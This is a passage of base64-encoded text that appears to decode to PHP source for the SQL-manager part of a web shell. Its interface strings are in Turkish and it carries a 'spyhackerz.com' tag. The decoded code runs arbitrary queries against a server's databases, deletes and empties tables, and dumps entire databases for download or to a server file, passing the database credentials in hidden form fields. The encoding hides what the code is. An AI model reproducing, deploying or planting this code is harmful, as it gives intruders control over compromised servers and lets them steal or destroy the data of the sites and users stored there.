KS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxlbXB0eSIpIHskc3FsX3F1ZXJ5ID0gIiI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSBGUk9NIGAiLiR2LiJgIFxuIjt9ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxkdW1wIikge2lmIChjb3VudCgkYm94dGJsKSA+IDApIHskZG1wdGJscyA9ICRib3h0Ymw7fSBlbHNlaWYoJHRoaXN0YmwpIHskZG1wdGJscyA9IGFycmF5KCRzcWxfdGJsKTt9ICRzcWxfYWN0ID0gImR1bXAiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGNoZWNrIikgeyRzcWxfcXVlcnkgPSAiQ0hFQ0sgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibG9wdGltaXplIikgeyRzcWxfcXVlcnkgPSAiT1BUSU1JWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibHJlcGFpciIpIHskc3FsX3F1ZXJ5ID0gIlJFUEFJUiBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsYW5hbHl6ZSIpIHskc3FsX3F1ZXJ5ID0gIkFOQUxZWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gImRlbGV0ZXJvdyIpIHskc3FsX3F1ZXJ5ID0gIiI7IGlmICghZW1wdHkoJGJveHJvd19hbGwpKSB7JHNxbF9xdWVyeSA9ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgOyI7fSBlbHNlIHtmb3JlYWNoKCRib3hyb3cgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdi4iIExJTUlUIDE7XG4iO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpO30gJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF90YmxfYWN0ID09ICJpbnNlcnQiKQ0KICAgew0KICAgIGlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMSkNCiAgICB7DQogICAgICRrZXlzID0gIiI7DQogICAgICRha2V5cyA9IGFycmF5X2tleXMoJHNxbF90YmxfaW5zZXJ0KTsNCiAgICAgZm9yZWFjaCAoJGFrZXlzIGFzICR2KSB7JGtleXMgLj0gImAiLmFkZHNsYXNoZXMoJHYpLiJgLCAiO30NCiAgICAgaWYgKCFlbXB0eSgka2V5cykpIHska2V5cyA9IHN1YnN0cigka2V5cywwLHN0cmxlbigka2V5cyktMik7fQ0KICAgICAkdmFsdWVzID0gIiI7DQogICAgICRpID0gMDsNCiAgICAgZm9yZWFjaCAoYXJyYXlfdmFsdWVzKCRzcWxfdGJsX2luc2VydCkgYXMgJHYpIHtpZiAoJGZ1bmN0ID0gJHNxbF90YmxfaW5zZXJ0X2Z1bmN0c1skYWtleXNbJGldXSkgeyR2YWx1ZXMgLj0gJGZ1bmN0LiIgKCI7fSAkdmFsdWVzIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7IGlmICgkZnVuY3QpIHskdmFsdWVzIC49ICIpIjt9ICR2YWx1ZXMgLj0gIiwgIjsgJGkrKzt9DQogICAgIGlmICghZW1wdHkoJHZhbHVlcykpIHskdmFsdWVzID0gc3Vic3RyKCR2YWx1ZXMsMCxzdHJsZW4oJHZhbHVlcyktMik7fQ0KICAgICAkc3FsX3F1ZXJ5ID0gIklOU0VSVCBJTlRPIGAiLiRzcWxfdGJsLiJgICggIi4ka2V5cy4iICkgVkFMVUVTICggIi4kdmFsdWVzLiIgKTsiOw0KICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7DQogICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2UiOw0KICAgIH0NCiAgICBlbHNlaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAyKQ0KICAgIHsNCiAgICAgJHNldCA9IG15c3FsX2J1aWxkd2hlcmUoJHNxbF90YmxfaW5zZXJ0LCIsICIsJHNxbF90YmxfaW5zZXJ0X2Z1bmN0cyk7DQogICAgICRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRzcWxfdGJsLiJgIFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiOw0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKTsNCiAgICAgJHNxbF9hY3QgPSAicXVlcnkiOw0KICAgICAkc3FsX3RibF9hY3QgPSAiYnJvd3NlIjsNCiAgICB9DQogICB9DQogICBpZiAoJHNxbF9hY3QgPT0gInF1ZXJ5IikNCiAgIHsNCiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfYWN0ID0gJHNxbF9nb3RvO30NCiAgICBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF9hY3QpKSB7ZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCI+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJHZXJjZWtkZW4gaXN0aW9ubXUgS2FyZGVzOiI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkgOiI7fSBlY2hvICI8L2I+PGJyPjxicj48dGV4dGFyZWEgbmFtZT1cInNxbF9xdWVyeVwiIGNvbHM9XCIxMDBcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfYWN0XCIgdmFsdWU9XCJxdWVyeVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIkV2ZXRcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiSGF5aXJcIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Ijt9DQogICB9DQogICBpZiAoaW5fYXJyYXkoJHNxbF9hY3QsJGFjdHMpKQ0KICAgew0KICAgID8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPlllbmkgVGFibG8gb2x1c3R1cjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1ZT0ibmV3dGJsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfZGIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3dGJsIiBzaXplPSIyMCI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ik9sdXN0dXIiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkR1bXAgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImR1bXAiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImR1bXBfZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvICJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kc3FsX2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT0iRHVtcCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+PD9waHANCiAgICBpZiAoIWVtcHR5KCRzcWxfYWN0KSkge2VjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+Ijt9DQogICAgaWYgKCRzcWxfYWN0ID09ICJuZXd0YmwiKQ0KICAgIHsNCiAgICAgZWNobyAiPGI+IjsNCiAgICAgaWYgKChteXNxbF9jcmVhdGVfZGIgKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgkc3FsX25ld2RiKSkpIHtlY2hvICIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIFllbmkgZGF0YWJhc2Ugb2x1c3R1cnVsZHUhPC9iPjxicj4iOw0KICAgIH0NCiAgICBlbHNlIHtlY2hvICJEYXRhYmFzZSBPbHVzdHVydWxhbWFkaSBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30NCiAgIH0NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gImR1bXAiKQ0KICAgew0KICAgIGlmIChlbXB0eSgkc3VibWl0KSkNCiAgICB7DQogICAgICRkaXBsYXkgPSBmYWxzZTsNCiAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfYWN0XCIgdmFsdWU9XCJkdW1wXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxiPlNRTC1EdW1wOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxiPkRCOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkc3FsX2RiKS4iXCI+PGJyPjxicj4iOw0KICAgICAkdiA9IGpvaW4gKCI7IiwkZG1wdGJscyk7DQogICAgIGVjaG8gIjxiPk9ubHkgdGFibGVzIChleHBsb2RlIFwiO1wiKSZuYnNwOzxiPjxzdXA+MTwvc3VwPjwvYj46PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPVwiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOw0KICAgICBpZiAoJGR1bXBfZmlsZSkgeyR0bXAgPSAkZHVtcF9maWxlO30NCiAgICAgZWxzZSB7JHRtcCA9IGh0bWxzcGVjaWFsY2hhcnMoIi4vZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCIpO30NCiAgICAgZWNobyAiPGI+RmlsZTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kdW1wX2ZpbGVcIiB2YWx1ZT1cIiIuJHRtcC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdG1wKStzdHJsZW4oJHRtcCkgJSAzMCkuIlwiPjxicj48YnI+IjsNCiAgICAgZWNobyAiPGI+RG93bmxvYWQ6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX2Rvd25sb2FkXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxiPlNhdmUgdG8gZmlsZTogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjsNCiAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIkR1bXBcIj48YnI+PGJyPjxiPjxzdXA+MTwvc3VwPjwvYj4gLSBhbGwsIGlmIGVtcHR5IjsNCiAgICAgZWNobyAiPC9mb3JtPiI7DQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICRkaXBsYXkgPSB0cnVlOw0KICAgICAkc2V0ID0gYXJyYXkoKTsNCiAgICAgJHNldFsic29jayJdID0gJHNxbF9zb2NrOw0KICAgICAkc2V0WyJkYiJdID0gJHNxbF9kYjsNCiAgICAgJGR1bXBfb3V0ID0gImRvd25sb2FkIjsNCiAgICAgJHNldFsicHJpbnQiXSA9IDA7DQogICAgICRzZXRbIm5sMmJyIl0gPSAwOw0KICAgICAkc2V0WyIiXSA9IDA7DQogICAgICRzZXRbImZpbGUiXSA9ICRkdW1wX2ZpbGU7DQogICAgICRzZXRbImFkZF9kcm9wIl0gPSB0cnVlOw0KICAgICAkc2V0WyJvbmx5dGFicyJdID0gYXJyYXkoKTsNCiAgICAgaWYgKCFlbXB0eSgkZG1wdGJscykpIHskc2V0WyJvbmx5dGFicyJdID0gZXhwbG9kZSgiOyIsJGRtcHRibHMpO30NCiAgICAgJHJldCA9IG15c3FsX2R1bXAoJHNldCk7DQogICAgIGlmICgkc3FsX2R1bXBfZG93bmxvYWQpDQogICAgIHsNCiAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KICAgICAgaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJHJldCkpOw0KICAgICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2ZpbGUpLiJcIjsiKTsNCiAgICAgIGVjaG8gJHJldDsNCiAgICAgIGV4aXQ7DQogICAgIH0NCiAgICAgZWxzZWlmICgkc3FsX2R1bXBfc2F2ZXRvZmlsZSkNCiAgICAgew0KICAgICAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsNCiAgICAgIGlmICghJGZwKSB7ZWNobyAiPGI+RHVtcCBoYXRhc2kgT0x1c3R1cnVsYW1hZGkgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kdW1wX2ZpbGUpLiJcIiEiO30NCiAgICAgIGVsc2UNCiAgICAgIHsNCiAgICAgICBmd3JpdGUoJGZwLCRyZXQpOw0KICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgIGVjaG8gIjxiPkR1bXBlZChEb2t1bGR1KSEgRHVtcCBZYXppbGRpIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtcF9maWxlKSkuIlwiICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iOw0KICAgICAgfQ0KICAgICB9DQogICAgIGVsc2Uge2VjaG8gIjxiPkR1bXA6IGhpY2JpcnNleSB5YXBpbGFtYWRpITwvYj4iO30NCiAgICB9DQogICB9DQogICBpZiAoJGRpcGxheSkNCiAgIHsNCiAgICBpZiAoIWVtcHR5KCRzcWxfdGJsKSkNCiAgICB7DQogICAgIGlmIChlbXB0eSgkc3FsX3RibF9hY3QpKSB7JHNxbF90YmxfYWN0ID0gImJyb3dzZSI7fQ0KICAgICAkY291bnQgPSBteXNxbF9xdWVyeSgiU0VMRUNUIENPVU5UKCopIEZST00gYCIuJHNxbF90YmwuImA7Iik7DQogICAgICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOw0KICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkY291bnQpOw0KICAgICAkdGJsX3N0cnVjdF9yZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsNCiAgICAgJHRibF9zdHJ1Y3RfZmllbGRzID0gYXJyYXkoKTsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkdGJsX3N0cnVjdF9yZXN1bHQpKSB7JHRibF9zdHJ1Y3RfZmllbGRzW10gPSAkcm93O30NCiAgICAgaWYgKCRzcWxfbHMgPiAkc3FsX2xlKSB7JHNxbF9sZSA9ICRzcWxfbHMgKyAkcGVycGFnZTt9DQogICAgIGlmIChlbXB0eSgkc3FsX3RibF9wYWdlKSkgeyRzcWxfdGJsX3BhZ2UgPSAwO30NCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xzKSkgeyRzcWxfdGJsX2xzID0gMDt9DQogICAgIGlmIChlbXB0eSgkc3FsX3RibF9sZSkpIHskc3FsX3RibF9sZSA9IDMwO30NCiAgICAgJHBlcnBhZ2UgPSAkc3FsX3RibF9sZSAtICRzcWxfdGJsX2xzOw0KICAgICBpZiAoIWlzX251bWVyaWMoJHBlcnBhZ2UpKSB7JHBlcnBhZ2UgPSAxMDt9DQogICAgICRudW1wYWdlcyA9ICRjb3VudF9yb3dbMF0vJHBlcnBhZ2U7DQogICAgICRlID0gZXhwbG9kZSgiICIsJHNxbF9vcmRlcik7DQogICAgIGlmIChjb3VudCgkZSkgPT0gMikNCiAgICAgew0KICAgICAgaWYgKCRlWzBdID09ICJkIikgeyRhc2NfZGVzYyA9ICJERVNDIjt9DQogICAgICBlbHNlIHskYXNjX2Rlc2MgPSAiQVNDIjt9DQogICAgICAkdiA9ICJPUkRFUiBCWSBgIi4kZVsxXS4iYCAiLiRhc2NfZGVzYy4iICI7DQogICAgIH0NCiAgICAgZWxzZSB7JHYgPSAiIjt9DQogICAgICRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgICIuJHYuIkxJTUlUICIuJHNxbF90YmxfbHMuIiAsICIuJHBlcnBhZ2UuIiI7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpIG9yIHByaW50KG15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UYWJsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiIgKCIubXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KS4iIGNvbHMgYW5kICIuJGNvdW50X3Jvd1swXS4iIHJvd3MpPC9iPjwvY2VudGVyPiI7DQogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2FjdD1zdHJ1Y3R1cmVcIj5bJm5ic3A7PGI+U3RydWN0dXJlPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PWJyb3dzZVwiPlsmbmJzcDs8Yj5Ccm93c2U8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX2FjdD10YmxkdW1wJnRoaXN0Ymw9MVwiPlsmbmJzcDs8Yj5EdW1wPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PWluc2VydFwiPlsmbmJzcDs8Yj5JbnNlcnQ8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJzdHJ1Y3R1cmUiKSB7ZWNobyAiPGJyPjxicj48Yj5zcHloYWNrZXJ6LmNvbSA8L2I+Ijt9DQogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gImluc2VydCIpDQogICAgIHsNCiAgICAgIGlmICghaXNfYXJyYXkoJHNxbF90YmxfaW5zZXJ0KSkgeyRzcWxfdGJsX2luc2VydCA9IGFycmF5KCk7fQ0KICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcmFkaW8pKQ0KICAgICAgew0KDQogICAgICB9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgZWNobyAiPGJyPjxicj48Yj5Sb3cgdSB0YWJsb3lhIHNvayA6PC9iPjxicj4iOw0KICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKQ0KICAgICAgIHsNCiAgICAgICAgJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIjsNCiAgICAgICAgJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNlcnRfcTsNCiAgICAgICAgJHNxbF9xdWVyeSAuPSAiIExJTUlUIDE7IjsNCiAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKSBvciBwcmludCgiPGJyPjxicj4iLm15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgICAgICR2YWx1ZXMgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsNCiAgICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICAgfQ0KICAgICAgIGVsc2UgeyR2YWx1ZXMgPSBhcnJheSgpO30NCiAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxiPkFsYW48L2I+PC90ZD48dGQ+PGI+VGlwPC9iPjwvdGQ+PHRkPjxiPkZvbmtzaXlvbjwvYj48L3RkPjx0ZD48Yj5WYWx1